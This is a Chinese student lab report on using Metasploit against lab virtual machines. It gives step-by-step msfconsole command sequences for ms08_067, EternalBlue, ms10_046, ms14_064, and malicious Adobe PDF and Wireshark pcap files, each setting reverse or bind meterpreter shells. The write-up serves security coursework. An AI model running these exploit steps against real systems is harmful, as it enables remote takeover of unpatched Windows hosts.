2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用


原理与实践说明

1.实践原理

1.MSF攻击方法

  • 主动攻击:扫描主机漏洞,进行攻击
  • 攻击浏览器
  • 攻击其他客户端

2.MSF的六个模块

查看六种模块源码目录/usr/share/metasploit-framework/modules

  • 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去

  • 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提

  • 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码

  • 空字段模块Nop Modules

  • 编码模块Encoders

  • 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

  1. MSF的三种用户操作界面
  • msfconsole

    - 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]

    - 查看设置信息show [options]

    - 查看攻击目标类型show [target]

    - 查找命令search

    - 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
  • armitage

    - 启动服务器service postgresql start

    - 启动armitagearmitage
  • webgui

4.MSF常用漏洞利用命令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets: 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name :使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

2.实践内容概述

  • 一个主动攻击实践,如ms08_067; (1分)

  • 一个针对浏览器的攻击,如ms11_050;(1分)

  • 一个针对客户端的攻击,如Adobe;(1分)

  • 成功应用任何一个辅助模块。(0.5分)

3.基础问题回答

  • 用自己的话解释什么是exploit,payload,encode.

    • exploit是载具,连接漏洞,将payload传送到靶机中。
    • payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
    • encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。

返回目录


攻击实例

主动攻击的实践

ms08-067

ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。

靶机:Microsoft Windows 2000(10.0.0.112)

payload : generic/shell_reverse_tcp

  • 测试靶机与攻击机之间能否ping通

  • 攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.112

    • 查看到靶机的版本号

    • 查看到靶机存在此漏洞

  • msfconsole打开控制台,遇到以下提示,原因是没有连接数据库

  • 输入service postgresql start启动数据库,再次进入控制台即可

  • search ms08-067查看漏洞位置

  • use exploit/windows/smb/ms08_067_netapi选择该漏洞

  • set RHOSTS 10.0.0.112设置靶机IP

  • 利用辅助模块查看端口是否开启(默认端口为445)

    search portscan # 搜索端口
    use auxiliary/scanner/portscan/tcp # 使用漏洞
    show options #显示设置
    set RHOSTS 10.0.0.112 # 设置监听者地址
    exploit # 攻击

  • show targets 查看targets,修改靶机的类型set target 1(也可以不修改)

  • show payloads查看可用payload

  • 选择set generic/shell_bind_tcp

  • set LHOST 10.0.0.128设置监听者ip

  • set LPORT 5318设置监听者端口号

  • show options查看设置信息

  • exploit进行攻击,攻击成功!

返回目录

ms17_010_eternalblue

靶机:Microsoft Windows 7(10.1.1.137)

payload : windows/x64/shell/reverse_tcp_uuid

实验步骤

nmap --script=vuln 10.1.1.137   //查看靶机开放端口、是否存在ms17_010
search ms17_010 //搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue //使用漏洞
show payloads //显示可用攻击载荷
set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷
set LHOST 10.1.1.128 //设置监听地址
set LPORT 5318 //设置端口号
set RHOSTS 10.1.1.137 //设置靶机地址
show options //查看配置信息
exploit //开始攻击

攻击成功



返回目录

攻击浏览器的实践

ms10_046

靶机:Windows 7 + IE8

exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader

payload : windows/meterpreter/reverse_https

实验步骤

search ms10-046 //看看其他的exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader //使用漏洞
show payloads //显示可用攻击载荷
set windows/meterpreter/reverse_https //选择攻击载荷
show options //查看配置信息
set LHOST 10..1.128 //设置监听地址
set SRVHOST 10.1.1.128 //设置本地收听地址
set LPORT //设置端口号
exploit #开始攻击

  • /root/.msf4/local/msf.lnk共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions查看当前会话

  • 输入sessions -i 1即可选择第一个会话,然后就攻击成功

做过之后我发现,这个并不是攻击浏览器的,而是一个反弹连接,使用info查看可以发现,这个模块利用了Windows快捷方式文件(. lnk)处理中的一个漏洞,该文件包含指向恶意DLL的图标资源。此模块创建一个SMB服务来使payload运行这个dll文件,同时需要靶机生成一个文件送到被攻击机上。

返回目录

ms14_064

此安全更新可解决 Microsoft Windows 对象链接与嵌入 (OLE) 中 2 个私下报告的漏洞。最严重的漏洞可能在用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本。

靶机:WindowsXP+IE 8.0

exploit : windows/browser/ms14_064_ole_code_execution

payload : windows/meterpreter/reverse_tcp

实验步骤

use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
info //查看漏洞相关信息(发现可攻击winXP和win7)
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 10.1.1.128 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 10.1.1.128
set LPORT 5318
set target 0 //设置winXP靶机
exploit //发起攻击
  • 将生成的URL地址在winXP的IE中打开,发现成功建立了一个会话

  • 输入sessions查看会话相关信息

  • 输入sessions -i 1即可选择第一个会话,调用shell权限成功

尝试使用payload:windows/meterpreter/reverse_https,结果失败了

返回目录

攻击客户端的实践

Adobe

靶机:Windows XP

payload : windows/meterpreter/bind_tcp

实验步骤

msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 5318 //设置端口号
set RHOST 10.1.1.161 //设置靶机IP地址
exploit #攻击

  • 将生成的msf.pdf复制到Windows XP中

  • kail中输入back退出当前模块,进入监听模块

use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 10.1.1.161 //设置靶机IP地址
set LPORT 5318 //设置端口号
exploit //攻击
  • 在靶机中使用双击打开msf.pdf

攻击成功

返回目录

wireshark_packet_dect

靶机:Windows XP

payload : windows/meterpreter/reverse_tcp

实验步骤

msfconsole //进入控制台
use exploit/windows/fileformat/wireshark_packet_dect.rb //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 10.1.1.128 //攻击者地址
set LPORT 5318 //设置端口号
set FILENAME 5318.pcap //设置文件名
show options //查看设置
exploit #攻击

  • 将生成的5318.pcap复制到Windows XP中

  • kail中输入back退出当前模块,进入监听模块

use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 10.1.1.128 //攻击者地址
set LPORT 5318 //设置端口号
exploit //攻击
  • 在靶机中使用wireshark打开5318.pcap

攻击成功

返回目录


实验中遇到的问题及解决方法

  • 因为觉得每次都打开msfconle时间太长,所以我经常都是在前一次实验的基础上进行实验,在攻击的时候就会出现以下问题

    • 提示是说端口被占用了,我换了几个端口都没用,后来重启了msf,奏效了!!!!。果然重启解决一切问题!

返回目录


离实战还缺些什么技术或步骤

  • 信息收集扫描的重要性,掌握准确的信息是成功的关键因素。
  • 首先目前对某个漏洞的攻击还是针对与网上搜索的资料和步骤,msf只是攻击漏洞的一个工具,我现在就只是能够参考学长学姐的做法,根据想要的攻击的方法选择已有的模块进行攻击,对已有攻击教程的依赖程度还比较高,所以想真正用好msf,搞懂怎么利用漏洞进行攻击还需要更多的主动性、目的性。

返回目录


实验总结与体会

  • 本次实验操作起来非常简单,逻辑也很清晰,绝大多数的时间花费在找靶机上。这体现了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。我觉得这也是与实践的差距之一。

  • 总体来说实验过程还是比较顺利,在这次实验过程中,我觉得最终要的就是实验之前看帮助,要使用什么口令,怎么使用口令,靶机中有什么漏洞,漏洞的详细信息等等,这样可以避免盲目的实践导致事件的浪费。

返回目录

2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...

  2. 2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用 实践原理 1.MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2.MSF的六个模块 查看 ...

  3. 2018-2019-2 20165311《网络对抗技术》Exp5 MSF基础应用

    <网络对抗技术>Exp5 MSF基础应用 实验目的 实验内容 一个主动攻击实践(ms08_067) 一个针对浏览器的攻击(ms11_050) 一个针对客户端的攻击(adobe_toolbu ...

  4. 2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用 一.原理与实践说明 1.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具 ...

  5. 2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用 验前准备 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻 ...

  6. 2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用 目录 原理与实践说明 实践原理 实践内容概述 基础问题回答 攻击实例 主动攻击的实践 ms08_067_netapi: ...

  7. 20165214 2018-2019-2 《网络对抗技术》Exp5 MSF基础应用 Week8

    <网络对抗技术>Exp5 MSF基础应用 Week8 一.实验目标与内容 1.实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体我 ...

  8. 2018-2019-2 网络对抗技术 20165228 Exp5 MSF基础应用

    2018-2019-2 网络对抗技术 20165228 Exp5 MSF基础应用 exploit选取 主动攻击:ms17_010_eternalblue(唯一) 浏览器攻击:ms05_054_onlo ...

  9. 20165308『网络对抗技术』Exp5 MSF基础应用

    20165308『网络对抗技术』Exp5 MSF基础应用 一.原理与实践说明 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实 ...

随机推荐

  1. Freemarker教程1(基本使用)

    简介 FreeMarker是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页.电子邮件.配置文件.源代码等)的通用工具. 它不是面向最终用户的,而是一个Java类库,是 ...

  2. sql多条件查询语句

    如上图:三个文本可选项,那sql语句怎么写呢? 1.首先获取三个文本的值分别为Name,Age,Sex. 2.string sql="select * from 表 where 1=1&qu ...

  3. eclipse4.6.1安装SpringSource Tool Suite(sts-eclipse)插件

    1. Spring Tool Suite(sts)简介 Spring Tool Suite(sts)就是一个基于Eclipse的开发环境, 用于开发Spring应用程序.它提供了一个现成的使用环境来实 ...

  4. IDEA maven 项目如何上传到私服仓库

    前言:idea maven 发布版本到私服(快照和正式版).我有个项目( jar 包源码),其他 maven 项目能直接引入依赖就最好了,所以必须将这个 jar 包源码发布到 maven 私服仓库里去 ...

  5. HDU6205

    card card card Time Limit: 8000/4000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)To ...

  6. JavaScript--fullPage.js插件

    GitHub:https://github.com/alvarotrigo/fullPage.js FullPage.js是一个基于JQuery的插件,可以很方便的制作出全屏网站; 一 特点: 1.支 ...

  7. Python 练习: 简单角色游戏程序

    要求: 1.创建三个游戏人物,分别是: 苍井井,女,18,初始战斗力1000 东尼木木,男,20,初始战斗力1800 波多多,女,19,初始战斗力2500 2.游戏场景,分别: 草丛战斗,消耗200战 ...

  8. loj#2002. 「SDOI2017」序列计数(dp 矩阵乘法)

    题意 题目链接 Sol 质数的限制并没有什么卵用,直接容斥一下:答案 = 忽略质数总的方案 - 没有质数的方案 那么直接dp,设\(f[i][j]\)表示到第i个位置,当前和为j的方案数 \(f[i ...

  9. ionic cordova 安装指定版本

    安装ionic 及 cordova npm install -g cordova ionic npm 淘宝镜像(GFW,导致很多插件下载失败) npm install -g cnpm --regist ...

  10. web全栈架构师[笔记] — 01 ECMAScript6新特性

    ES6新特性 一.变量 var:重复定义不报错:没有块级作用域:不能限制修改 let:变量,不能重复定义,有块级作用域 const:常量,不能重复定义,有块级作用域 二.函数/参数 箭头函数——简写: ...